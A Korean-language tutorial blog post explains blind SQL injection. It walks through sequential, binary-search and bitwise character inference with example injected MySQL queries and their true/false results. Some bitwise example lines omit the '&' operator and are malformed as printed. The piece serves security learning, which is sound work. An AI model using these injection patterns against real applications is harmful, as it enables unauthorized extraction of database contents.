What is Blind SQL Injection?

심야·2023년 7월 13일
0

Blind SQL Injection

UNION, ERROR Based SQLi 와 다르게 DB 질의 결과가 화면에 안 나오는 환경에서 사용한다.

예를 들어 SQLi 공격으로 로그인을 시도했는데 성공 또는 실패 응답만 확인할 수 있거나 게시판에서 idx=8 and 1=1 참이 되는 쿼리로 게시물을 요청하니 2023-06-30 날짜가 출력 되지만 idx=8 and 1=2 거짓이 되는 쿼리로 게시물을 요청하면 날짜가 출력 되지 않는다. 이처럼 HTTP 통신 응답 결과로 참과 거짓을 판별해 데이터를 추론해야 할 때 사용하는 공격 기법이다. 참과 거짓 조건을 판별해 데이터를 추론하기 때문에 속도가 매우 느려 UNION, ERROR Based SQLi를 사용할 수 없을 때 사용한다.

DBMS 별 SUBSTRING 함수 이름

  • MySQL : SUBSTR(), SUBSTRING()
  • Oracle : SUBSTR()
  • SQL Server : SUBSTRING()

공격 방법

순차 탐색, 이진 탐색, 비트 탐색 모두 substring() 를 사용한다. 길이 값을 찾기 위해 length() 를 사용할 때도 있다. substring([대상 쿼리], N, 1) 에서 대상 쿼리는 system_user() , select database() 와 같이 찾고자 하는 데이터를 질의하는 쿼리를 입력한다. N은 대상 쿼리가 찾는 값의 자릿수를 의미해 순차적으로 증가 시킨다.

예제

substring(system_user(), N, 1)

  1. 순차 탐색

    • 특징
      속도가 느리다.
    • 공격 방법
      1. 만약 system user의 두 번째 글자를 찾는다면 select substring(system_user(), 2, 1) 질의문을 작성하며 해당 질의문은 문자 o 를 반환한다.
      2. substring([대상 쿼리], N, 1)=’a’
      3. substring([대상 쿼리], N, 1)=’b’
      4. substring([대상 쿼리], N, 1)=’c’
    • 예제
      SELECT id FROM members where id = 'test' and substring(system_user(), 1, 1) = 'a'
      => Empty Set
      SELECT id FROM members where id = 'test' and substring(system_user(), 1, 1) = 'b'
      => Empty Set
      SELECT id FROM members where id = 'test' and substring(system_user(), 1, 1) = 'r'
      => id : test (TRUE)
      SELECT substring(system_user(), 1, 1)
      => system_user(root) : r
  2. 이진 탐색

    • 특징
      ASCII 코드 중 문자를 의미하는 32 ~ 126 범위를 좁혀나가며 일치하는 ASCII 코드 값을 찾는다. 일치하는 ASCII 코드 값을 찾았다면 문자로 변환한다. 이진 탐색 알고리즘 특징을 이용해 문자를 의미하는 범위의 중간 값을 기준으로 범위를 좁혀나가면 더욱 빠른 속도로 찾을 수 있다.
    • 공격 방법
      1. ascii(substring([대상 쿼리], N, 1)) > 80
      2. ascii(substring([대상 쿼리], N, 1)) > 100
      3. ascii(substring([대상 쿼리], N, 1)) < 90
      4. ascii(substring([대상 쿼리], N, 1)) = 95
    • 예제
      SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 80
      => id : test (TRUE)
      SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 100
      => id : test (TRUE)
      SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 115
      => Empty Set (FALSE)
      SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 113
      => id : test (TRUE)
      SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) > 114
      => Empty Set (FALSE)
      SELECT id FROM members where id='test' and ascii(substring(system_user(), 1, 1)) = 114
      => id : test (TRUE)
      SELECT char(114)
      => char : r (FIND)
  3. 비트 연산

    • 특징
      비트 연산을 통해 데이터를 탐색하는 기법이다. 비트 연산자 & 를 사용하며 & 는 대응되는 비트가 모두 1이면 1을 반환하는 AND 연산이다. ASCII 코드 값, 예를 들어 97의 2진수에서 자리가 1인 값을 모두 더해 문자로 변환한다. ASCII 코드 문자 범위는 32 ~ 126이기 때문에 비트 탐색 시 128은 확인할 필요가 없다.
      업로드중..
    • 공격 방법
      1. ascii(substring([대상 쿼리], 1, 1))&N=N; ⇒ N은 2진수를 의미한다.
      2. 2진수를 증가해 1 ~ 64까지 참으로 나온 2진수를 모두 더해 10진수를 얻는다.
      3. char() 함수를 사용해 10진수를 문자로 변환한다.
      4. burp suite에서 &는 URL 인코딩을 하기 때문에 %26 으로 입력한다.
    • 예제
      SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))&1=1
      => Empty set
      SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))&2=2
      => Empty set
      SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))&4=4
      => Empty set
      SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))&8=8
      => Empty set
      SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))16=16
      => id : test (TRUE)
      SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))32=32
      => id : test (TRUE)
      SELECT id FROM members where id='test' and ascii(substring(database(), 1, 1))64=64
      => id : test (TRUE)
      SELECT char(16+32+64 using ascii)
      => p
    • Tip! mysql 8.0.19는 binary-as-hex 옵션이 활성화 되어 있어 char()가 문자가 아닌 HEX 값을 반환한다. 따라서 using ascii 옵션을 사용해 문자를 반환하게 해야 한다.

    참고

    코딩교육 티씨피스쿨

    [SQL][함수] Substring : 문자열 일부 추출

    웹 개발자와 정보보안 입문자가 꼭 알아야 할 웹 해킹 & 시큐어 코딩 - 인프런 | 강의

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글